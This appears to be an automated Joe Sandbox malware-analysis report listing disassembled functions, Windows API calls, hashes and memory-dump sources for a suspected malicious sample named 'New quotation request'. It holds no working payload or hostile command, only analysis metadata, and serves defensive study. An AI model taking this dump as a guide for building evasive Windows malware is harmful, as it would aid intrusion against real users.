                                                                    • API ID: String$Alloc$ByteCharMultiWide$FreeFrom
                                                                    • String ID:
                                                                    • API String ID: 3761583154-0
                                                                    • Opcode ID: 6dbc6a92bfbcaa67e1f4979710925b3cb7adf178ece943dd71954e59caeed9f8
                                                                    • Instruction ID: 78f1db75fa634ba665501de1bcf0035da0c645917567465ca4411d7541e8aa42
                                                                    • Opcode Fuzzy Hash: 6dbc6a92bfbcaa67e1f4979710925b3cb7adf178ece943dd71954e59caeed9f8
                                                                    • Instruction Fuzzy Hash: D2216D35605204AFEB15EBE9DC88DAB77ECEB08360F518126F914CB2A0DAB4DC41CB64
                                                                    Function 003375CD Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75windowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                      • Part of subcall function 002B1D35: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 002B1D73
                                                                      • Part of subcall function 002B1D35: GetStockObject.GDI32(00000011), ref: 002B1D87
                                                                      • Part of subcall function 002B1D35: SendMessageW.USER32(00000000,00000030,00000000), ref: 002B1D91
                                                                    • SendMessageW.USER32(00000000,00002001,00000000,FF000000), ref: 00337632
                                                                    • SendMessageW.USER32(?,00000409,00000000,FF000000), ref: 0033763F
                                                                    • SendMessageW.USER32(?,00000402,00000000,00000000), ref: 0033764A
                                                                    • SendMessageW.USER32(?,00000401,00000000,00640000), ref: 00337659
                                                                    • SendMessageW.USER32(?,00000404,00000001,00000000), ref: 00337665
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: MessageSend$CreateObjectStockWindow
                                                                    • String ID: Msctls_Progress32
                                                                    • API String ID: 1025951953-3636473452
                                                                    • Opcode ID: dc65a3d2bbb40e7e2de373d573dd7016b50cdc73b9ee8e9892ca5f848e6929f1
                                                                    • Instruction ID: bceeedbca84776145e5ea08d12269b2b526c5c4321e96e04ca8b2805699e4ace
                                                                    • Opcode Fuzzy Hash: dc65a3d2bbb40e7e2de373d573dd7016b50cdc73b9ee8e9892ca5f848e6929f1
                                                                    • Instruction Fuzzy Hash: AB11B6B1110119BFEF158F64CC86EE77F5DEF08798F014115F604A6050C6729C21DBA4
                                                                    Function 002D9AE6 Relevance: 10.5, APIs: 7, Instructions: 45threadCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • __init_pointers.LIBCMT ref: 002D9AE6
                                                                      • Part of subcall function 002D3187: EncodePointer.KERNEL32(00000000), ref: 002D318A
                                                                      • Part of subcall function 002D3187: __initp_misc_winsig.LIBCMT ref: 002D31A5
                                                                      • Part of subcall function 002D3187: GetModuleHandleW.KERNEL32(kernel32.dll), ref: 002D9EA0
                                                                      • Part of subcall function 002D3187: GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 002D9EB4
                                                                      • Part of subcall function 002D3187: GetProcAddress.KERNEL32(00000000,FlsFree), ref: 002D9EC7
                                                                      • Part of subcall function 002D3187: GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 002D9EDA
                                                                      • Part of subcall function 002D3187: GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 002D9EED
                                                                      • Part of subcall function 002D3187: GetProcAddress.KERNEL32(00000000,InitializeCriticalSectionEx), ref: 002D9F00
                                                                      • Part of subcall function 002D3187: GetProcAddress.KERNEL32(00000000,CreateEventExW), ref: 002D9F13
                                                                      • Part of subcall function 002D3187: GetProcAddress.KERNEL32(00000000,CreateSemaphoreExW), ref: 002D9F26
                                                                      • Part of subcall function 002D3187: GetProcAddress.KERNEL32(00000000,SetThreadStackGuarantee), ref: 002D9F39
                                                                      • Part of subcall function 002D3187: GetProcAddress.KERNEL32(00000000,CreateThreadpoolTimer), ref: 002D9F4C
                                                                      • Part of subcall function 002D3187: GetProcAddress.KERNEL32(00000000,SetThreadpoolTimer), ref: 002D9F5F
                                                                      • Part of subcall function 002D3187: GetProcAddress.KERNEL32(00000000,WaitForThreadpoolTimerCallbacks), ref: 002D9F72
                                                                      • Part of subcall function 002D3187: GetProcAddress.KERNEL32(00000000,CloseThreadpoolTimer), ref: 002D9F85
                                                                      • Part of subcall function 002D3187: GetProcAddress.KERNEL32(00000000,CreateThreadpoolWait), ref: 002D9F98
                                                                      • Part of subcall function 002D3187: GetProcAddress.KERNEL32(00000000,SetThreadpoolWait), ref: 002D9FAB
                                                                      • Part of subcall function 002D3187: GetProcAddress.KERNEL32(00000000,CloseThreadpoolWait), ref: 002D9FBE
                                                                    • __mtinitlocks.LIBCMT ref: 002D9AEB
                                                                    • __mtterm.LIBCMT ref: 002D9AF4
                                                                      • Part of subcall function 002D9B5C: DeleteCriticalSection.KERNEL32(00000000,00000000,?,?,002D9AF9,002D7CD0,0036A0B8,00000014), ref: 002D9C56
                                                                      • Part of subcall function 002D9B5C: _free.LIBCMT ref: 002D9C5D
                                                                      • Part of subcall function 002D9B5C: DeleteCriticalSection.KERNEL32(027,?,?,002D9AF9,002D7CD0,0036A0B8,00000014), ref: 002D9C7F
                                                                    • __calloc_crt.LIBCMT ref: 002D9B19
                                                                    • __initptd.LIBCMT ref: 002D9B3B
                                                                    • GetCurrentThreadId.KERNEL32 ref: 002D9B42
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: AddressProc$CriticalDeleteSection$CurrentEncodeHandleModulePointerThread__calloc_crt__init_pointers__initp_misc_winsig__initptd__mtinitlocks__mtterm_free
                                                                    • String ID:
                                                                    • API String ID: 3567560977-0
                                                                    • Opcode ID: b3efb6c6a754f0b3523926d1cf7f7538931113fe92d9d06473bce5030a02c914
                                                                    • Instruction ID: 5c869b9ecc5ba582dd1272276fa7f3487ff5a095b3adee59b2946c37d1eb77c2
                                                                    • Opcode Fuzzy Hash: b3efb6c6a754f0b3523926d1cf7f7538931113fe92d9d06473bce5030a02c914
                                                                    • Instruction Fuzzy Hash: B3F090335397126AE774BB74BC0365A26959F03B34F214A1BF464C53D2FF608CE149A0
                                                                    Function 0033B635 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 40processCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • _memset.LIBCMT ref: 0033B644
                                                                    • _memset.LIBCMT ref: 0033B653
                                                                    • CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00376F20,00376F64), ref: 0033B682
                                                                    • CloseHandle.KERNEL32 ref: 0033B694
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: _memset$CloseCreateHandleProcess
                                                                    • String ID: o7$do7
                                                                    • API String ID: 3277943733-2183443977
                                                                    • Opcode ID: 280c0ff112e93931a3df1478bea000a971d8b215022cc7de9334254071558e20
                                                                    • Instruction ID: 629ed43e86449a46429ba9d8ea6ccf80e829e3f3ea77c67715455a99180cc479
                                                                    • Opcode Fuzzy Hash: 280c0ff112e93931a3df1478bea000a971d8b215022cc7de9334254071558e20
                                                                    • Instruction Fuzzy Hash: C3F05EB6540700BFE2223B61BC57FBB7A9CEB08395F004021FA0DE6192D7754C148BA8
                                                                    Function 002D406B Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 19libraryloaderCOMMONLIBRARYCODE
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • LoadLibraryExW.KERNEL32(combase.dll,00000000,00000800,RoUninitialize,002D3F85), ref: 002D4085
                                                                    • GetProcAddress.KERNEL32(00000000), ref: 002D408C
                                                                    • EncodePointer.KERNEL32(00000000), ref: 002D4097
                                                                    • DecodePointer.KERNEL32(002D3F85), ref: 002D40B2
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: Pointer$AddressDecodeEncodeLibraryLoadProc
                                                                    • String ID: RoUninitialize$combase.dll
                                                                    • API String ID: 3489934621-2819208100
                                                                    • Opcode ID: 06f95632a42297f74dc345a78bd191c83987c73c3c3b00bfacc4d7738c79404a
                                                                    • Instruction ID: b8e751ad6a6f29f4756ea4009de3898bc3d1fad8c4acac5c1b0362915006b696
                                                                    • Opcode Fuzzy Hash: 06f95632a42297f74dc345a78bd191c83987c73c3c3b00bfacc4d7738c79404a
                                                                    • Instruction Fuzzy Hash: 4AE09274A96201EFEB22BF61EC49B463BACB704743F904426F115E61A0CBB65644AA15
                                                                    Function 003164B8 Relevance: 9.2, APIs: 6, Instructions: 205COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: _memmove$__itow__swprintf
                                                                    • String ID:
                                                                    • API String ID: 3253778849-0
                                                                    • Opcode ID: c501d2cfef9f23abf16beb4b3eec8b141f75e8ad3671055b0f970422b07e1cb8
                                                                    • Instruction ID: 42bf5323aabcbaf14dd3a42fd060b6ad0f9144fd20e0f75a2065286fafadc58b
                                                                    • Opcode Fuzzy Hash: c501d2cfef9f23abf16beb4b3eec8b141f75e8ad3671055b0f970422b07e1cb8
                                                                    • Instruction Fuzzy Hash: 0461AD3051425A9BCF06EFA0CC82EFE37A9AF49348F048519F9555B2A2DB34EDA5CF50
                                                                    Function 003301E4 Relevance: 9.2, APIs: 6, Instructions: 167registryCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                      • Part of subcall function 002B7DE1: _memmove.LIBCMT ref: 002B7E22
                                                                      • Part of subcall function 00330E1A: CharUpperBuffW.USER32(?,?,?,?,?,?,?,0032FDAD,?,?), ref: 00330E31
                                                                    • RegConnectRegistryW.ADVAPI32(?,?,?), ref: 003302BD
                                                                    • RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 003302FD
                                                                    • RegCloseKey.ADVAPI32(?,00000001,00000000), ref: 00330320
                                                                    • RegEnumValueW.ADVAPI32(?,-00000001,?,?,00000000,?,00000000,00000000), ref: 00330349
                                                                    • RegCloseKey.ADVAPI32(?,?,00000000), ref: 0033038C
                                                                    • RegCloseKey.ADVAPI32(00000000), ref: 00330399
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: Close$BuffCharConnectEnumOpenRegistryUpperValue_memmove
                                                                    • String ID:
                                                                    • API String ID: 4046560759-0
                                                                    • Opcode ID: d458e2c6b05ace4fd447ccdd01cb07b4665e70fd5a99f138ca942a26bdd4ebf6
                                                                    • Instruction ID: 2ef4be0ebf7db42fdba47af0efe322f87e01fdc314c2eeae102a756440e0b9b3
                                                                    • Opcode Fuzzy Hash: d458e2c6b05ace4fd447ccdd01cb07b4665e70fd5a99f138ca942a26bdd4ebf6
                                                                    • Instruction Fuzzy Hash: AD515C31218200AFC709EF64C895EAFBBE9FF89314F44491DF5958B2A2DB31E915CB52
                                                                    Function 00335799 Relevance: 9.2, APIs: 6, Instructions: 160windowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • GetMenu.USER32(?), ref: 003357FB
                                                                    • GetMenuItemCount.USER32(00000000), ref: 00335832
                                                                    • GetMenuStringW.USER32(00000000,00000000,?,00007FFF,00000400), ref: 0033585A
                                                                    • GetMenuItemID.USER32(?,?), ref: 003358C9
                                                                    • GetSubMenu.USER32(?,?), ref: 003358D7
                                                                    • PostMessageW.USER32(?,00000111,?,00000000), ref: 00335928
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: Menu$Item$CountMessagePostString
                                                                    • String ID:
                                                                    • API String ID: 650687236-0
                                                                    • Opcode ID: 9e78033a2c8e66e76833617a44628444d73bbee8a19ea29bd0e4594b273115f0
                                                                    • Instruction ID: e4f38b3d1ad419824cebb8534cf5916cea7a4ea32cce27a154d41f93747b5343
                                                                    • Opcode Fuzzy Hash: 9e78033a2c8e66e76833617a44628444d73bbee8a19ea29bd0e4594b273115f0
                                                                    • Instruction Fuzzy Hash: B7516D31E00615EFCF12DF64C885AAEB7B5EF48320F114069E841BB361CB70AE41CB90
                                                                    Function 0030EEEC Relevance: 9.2, APIs: 6, Instructions: 159COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • VariantInit.OLEAUT32(?), ref: 0030EF06
                                                                    • VariantClear.OLEAUT32(00000013), ref: 0030EF78
                                                                    • VariantClear.OLEAUT32(00000000), ref: 0030EFD3
                                                                    • _memmove.LIBCMT ref: 0030EFFD
                                                                    • VariantClear.OLEAUT32(?), ref: 0030F04A
                                                                    • VariantChangeType.OLEAUT32(?,?,00000000,00000013), ref: 0030F078
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: Variant$Clear$ChangeInitType_memmove
                                                                    • String ID:
                                                                    • API String ID: 1101466143-0
                                                                    • Opcode ID: 599075e71fbabc4bb062b3c8eba78646d8ea9e8182bf43f64803798d9966d9ab
                                                                    • Instruction ID: bf15a8c7717157c0781931cc50e65e0d72c064a8e2a46e5da2e81008c534615b
                                                                    • Opcode Fuzzy Hash: 599075e71fbabc4bb062b3c8eba78646d8ea9e8182bf43f64803798d9966d9ab
                                                                    • Instruction Fuzzy Hash: 16516AB5A00209EFCB25CF58C890AAAB7B8FF4C314F158569E959DB341E735E911CFA0
                                                                    Function 0031220A Relevance: 9.1, APIs: 6, Instructions: 138windowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • _memset.LIBCMT ref: 00312258
                                                                    • GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 003122A3
                                                                    • IsMenu.USER32(00000000), ref: 003122C3
                                                                    • CreatePopupMenu.USER32 ref: 003122F7
                                                                    • GetMenuItemCount.USER32(000000FF), ref: 00312355
                                                                    • InsertMenuItemW.USER32(00000000,?,00000001,00000030), ref: 00312386
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: Menu$Item$CountCreateInfoInsertPopup_memset
                                                                    • String ID:
                                                                    • API String ID: 3311875123-0
                                                                    • Opcode ID: c9c9b1e1c0b764c1fd6e0ee007fb0dbafacc1115e3912d614167ab6082301f6a
                                                                    • Instruction ID: ee4c86e533e2e8f865503c9158e533be5c73c1889b0d54463c8f865eb84a35c5
                                                                    • Opcode Fuzzy Hash: c9c9b1e1c0b764c1fd6e0ee007fb0dbafacc1115e3912d614167ab6082301f6a
                                                                    • Instruction Fuzzy Hash: 5351C434900209DFDF2ACF64C888BDFBBF5BF49314F154929E8619B290D37489A5CB51
                                                                    Function 002B1765 Relevance: 9.1, APIs: 6, Instructions: 113COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                      • Part of subcall function 002B2612: GetWindowLongW.USER32(?,000000EB), ref: 002B2623
                                                                    • BeginPaint.USER32(?,?,?,?,?,?), ref: 002B179A
                                                                    • GetWindowRect.USER32(?,?), ref: 002B17FE
                                                                    • ScreenToClient.USER32(?,?), ref: 002B181B
                                                                    • SetViewportOrgEx.GDI32(00000000,?,?,00000000), ref: 002B182C
                                                                    • EndPaint.USER32(?,?), ref: 002B1876
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: PaintWindow$BeginClientLongRectScreenViewport
                                                                    • String ID:
                                                                    • API String ID: 1827037458-0
                                                                    • Opcode ID: c0ceb75ca7bdf245ba268ef9c58a5d5745649695c5a7e27b7af780a0fe7925c1
                                                                    • Instruction ID: b16d4e5faa9074fd8d25adaaf5dc8893be0a3bfe8ec6a8b3006dabc9a8e4295c
                                                                    • Opcode Fuzzy Hash: c0ceb75ca7bdf245ba268ef9c58a5d5745649695c5a7e27b7af780a0fe7925c1
                                                                    • Instruction Fuzzy Hash: 2041BF30510701AFD722DF25CC94FA67BE8FB45360F544629FAA8872A1C7709865DB62
                                                                    Function 0033B69E Relevance: 9.1, APIs: 6, Instructions: 109windowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • ShowWindow.USER32(003757B0,00000000,015955B0,?,?,003757B0,?,0033B5A8,?,?), ref: 0033B712
                                                                    • EnableWindow.USER32(00000000,00000000), ref: 0033B736
                                                                    • ShowWindow.USER32(003757B0,00000000,015955B0,?,?,003757B0,?,0033B5A8,?,?), ref: 0033B796
                                                                    • ShowWindow.USER32(00000000,00000004,?,0033B5A8,?,?), ref: 0033B7A8
                                                                    • EnableWindow.USER32(00000000,00000001), ref: 0033B7CC
                                                                    • SendMessageW.USER32(?,0000130C,?,00000000), ref: 0033B7EF
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: Window$Show$Enable$MessageSend
                                                                    • String ID:
                                                                    • API String ID: 642888154-0
                                                                    • Opcode ID: a2dd8a72d8f8e8fa2551d90590f0e0204eeab4b6b6b6e5901ab8a9e1b5b82cc7
                                                                    • Instruction ID: 4c85ce32c290383d31908b5be77048c5d8e6b01ea9b0f37593b8f6026b40f1fc
                                                                    • Opcode Fuzzy Hash: a2dd8a72d8f8e8fa2551d90590f0e0204eeab4b6b6b6e5901ab8a9e1b5b82cc7
                                                                    • Instruction Fuzzy Hash: E6416234600244AFDB27CF24C4DAB94BBE1FF45350F1941B9FA488F6A2C731A856CBA1
                                                                    Function 0032709E Relevance: 9.1, APIs: 6, Instructions: 97COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • GetForegroundWindow.USER32(?,?,?,?,?,?,00324E41,?,?,00000000,00000001), ref: 003270AC
                                                                      • Part of subcall function 003239A0: GetWindowRect.USER32(?,?), ref: 003239B3
                                                                    • GetDesktopWindow.USER32 ref: 003270D6
                                                                    • GetWindowRect.USER32(00000000), ref: 003270DD
                                                                    • mouse_event.USER32(00008001,?,?,00000001,00000001), ref: 0032710F
                                                                      • Part of subcall function 00315244: Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 003152BC
                                                                    • GetCursorPos.USER32(?), ref: 0032713B
                                                                    • mouse_event.USER32(00008001,?,?,00000000,00000000), ref: 00327199
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: Window$Rectmouse_event$CursorDesktopForegroundSleep
                                                                    • String ID:
                                                                    • API String ID: 4137160315-0
                                                                    • Opcode ID: 127afc86e9e6e2840184a080b9c6297e25512d98f5ac451d716a3b0296a249a5
                                                                    • Instruction ID: ef3e08d8ce44b6132ad5fb608e1b174fefa3a909f9cfc79e75e60f4db6f12920
                                                                    • Opcode Fuzzy Hash: 127afc86e9e6e2840184a080b9c6297e25512d98f5ac451d716a3b0296a249a5
                                                                    • Instruction Fuzzy Hash: 3331FE32509315AFD721DF14D849F9BBBAAFF88304F00092AF48897191CB30EA19CB92
                                                                    Function 00308879 Relevance: 9.1, APIs: 6, Instructions: 69memoryCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                      • Part of subcall function 003080A9: GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 003080C0
                                                                      • Part of subcall function 003080A9: GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 003080CA
                                                                      • Part of subcall function 003080A9: GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 003080D9
                                                                      • Part of subcall function 003080A9: HeapAlloc.KERNEL32(00000000,?,00000002,?,00000000,?), ref: 003080E0
                                                                      • Part of subcall function 003080A9: GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 003080F6
                                                                    • GetLengthSid.ADVAPI32(?,00000000,0030842F), ref: 003088CA
                                                                    • GetProcessHeap.KERNEL32(00000008,00000000), ref: 003088D6
                                                                    • HeapAlloc.KERNEL32(00000000), ref: 003088DD
                                                                    • CopySid.ADVAPI32(00000000,00000000,?), ref: 003088F6
                                                                    • GetProcessHeap.KERNEL32(00000000,00000000,0030842F), ref: 0030890A
                                                                    • HeapFree.KERNEL32(00000000), ref: 00308911
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
